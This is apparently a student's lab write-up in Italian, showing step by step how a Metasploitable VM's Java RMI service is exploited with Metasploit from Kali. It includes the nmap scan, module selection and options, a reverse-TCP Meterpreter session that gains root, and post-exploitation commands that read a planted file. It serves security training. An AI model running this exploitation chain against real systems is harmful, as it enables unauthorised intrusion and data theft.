W16D4

Traccia:
La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro…

1 – Settaggio ip metasploit

```
meta 2 [Running] - Oracle VM VirtualBox
File  Machine  View  Input  Devices  Help
root@metasploitable:/home/msfadmin# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5f:8f:56
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5f:8f56/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:46 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3619 (3.5 KB)  TX bytes:5006 (4.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:98 errors:0 dropped:0 overruns:0 frame:0
          TX packets:98 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:21621 (21.1 KB)  TX bytes:21621 (21.1 KB)

root@metasploitable:/home/msfadmin# _
```

2- ping macchina metasploit a Kali

```
root@metasploitable:/home/msfadmin# ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=12.8 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=1.16 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=1.59 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=1.61 ms
64 bytes from 192.168.11.111: icmp_seq=5 ttl=64 time=1.53 ms

--- 192.168.11.111 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 1.164/3.760/12.888/4.566 ms
root@metasploitable:/home/msfadmin# _
```

3- ping metasploit da Kali

```
root@kali: /home/kali/Desktop
File  Actions  Edit  View  Help
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.09 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.45 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=2.98 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=2.46 ms

--- 192.168.11.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 1.093/1.995/2.981/0.758 ms
^C
```

4- NMAP della macchina Metasploit per scoprire le porte aperte e i relativi servizzi ad esse correlate

```
root@kali: /home/kali/Desktop
File  Actions  Edit  View  Help

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -sS -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 14:06 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00060s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:5F:8F:56 (Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o
:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

5 – Cerchiamo su MSFCONSOLE l'exploit piu' adeguato

```
Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry            .                normal     No     Java RMI Regis
try Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server            2011-10-15       excellent  Yes    Java RMI Serve
r Insecure Default Configuration Java Code Execution
   2     \_ target: Generic (Java Payload)          .                .          .      .
   3     \_ target: Windows x86 (Native Payload)    .                .          .      .
   4     \_ target: Linux x86 (Native Payload)      .                .          .      .
   5     \_ target: Mac OS X PPC (Native Payload)   .                .          .      .
   6     \_ target: Mac OS X x86 (Native Payload)   .                .          .      .
   7  auxiliary/scanner/misc/java_rmi_server        2011-10-15       normal     No     Java RMI Serve
r Insecure Endpoint Code Execution Scanner
   8  exploit/multi/browser/java_rmi_connection_impl  2010-03-31     excellent  No     Java RMIConnec
tionImpl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rm
i_connection_impl
```

6- Usiamo questo

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

7- Modifichiamo le opzioni necessarie (RHOSTS in questo caso)

```
root@kali: /home/kali/Desktop
File  Actions  Edit  View  Help

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/usi
                                         ng-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must
                                         be an address on the local machine or 0.0.0.0 to listen on a
                                         ll addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly genera
                                         ted)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
```

8- Lanciamo l'exploit....siamo dentro.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/dkl4OzGfx
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:35455) at 2024-09-05 14:13:36 -0400
```

9 – ifconfig

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe5f:8f56
IPv6 Netmask : ::
```

10 – sysinfo

```
meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter >
```

11 - getuid

```
meterpreter > getuid
Server username: root
meterpreter >
```

12 – Processi

```
meterpreter > ps

Process List
============

 PID   Name                                    User      Path
 ---   ----                                    ----      ----
 1     /sbin/init                              root      /sbin/init
 2     [kthreadd]                              root      [kthreadd]
 3     [migration/0]                           root      [migration/0]
 4     [ksoftirqd/0]                           root      [ksoftirqd/0]
 5     [watchdog/0]                            root      [watchdog/0]
 6     [events/0]                              root      [events/0]
 7     [khelper]                               root      [khelper]
 41    [kblockd/0]                             root      [kblockd/0]
 44    [kacpid]                                root      [kacpid]
 45    [kacpi_notify]                          root      [kacpi_notify]
 90    [kseriod]                               root      [kseriod]
 129   [pdflush]                               root      [pdflush]
 130   [pdflush]                               root      [pdflush]
 131   [kswapd0]                               root      [kswapd0]
 173   [aio/0]                                 root      [aio/0]
 1129  [ksnapd]                                root      [ksnapd]
 1300  [ata/0]                                 root      [ata/0]
 1301  [ata_aux]                               root      [ata_aux]
 1308  [scsi_eh_0]                             root      [scsi_eh_0]
 1312  [scsi_eh_1]                             root      [scsi_eh_1]
 1331  [ksuspend_usbd]                         root      [ksuspend_usbd]
 1334  [khubd]                                 root      [khubd]
```

13 - Esempio di una file "sensibile" (creato precedentemente su metasploit) sottratto

```
040666/rw-rw-rw-  4096     dir   2010-03-16 18:57:38 -0400  srv
040666/rw-rw-rw-  0        dir   2024-09-05 15:35:39 -0400  sys
040666/rw-rw-rw-  4096     dir   2024-08-30 11:36:12 -0400  test_metasploit
040666/rw-rw-rw-  4096     dir   2024-09-05 15:39:19 -0400  tmp
040666/rw-rw-rw-  4096     dir   2010-04-28 00:06:37 -0400  usr
040666/rw-rw-rw-  4096     dir   2010-03-17 10:08:23 -0400  var
100666/rw-rw-rw-  1987288  fil   2008-04-10 12:55:41 -0400  vmlinuz

meterpreter > cd test_metasploit/
meterpreter > ls
Listing: /test_metasploit
=========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  31    fil   2024-08-30 11:36:12 -0400  rubami.txt

meterpreter > cat rubami.txt
Mi hai arrubbatttoooooo !!!!
meterpreter >
```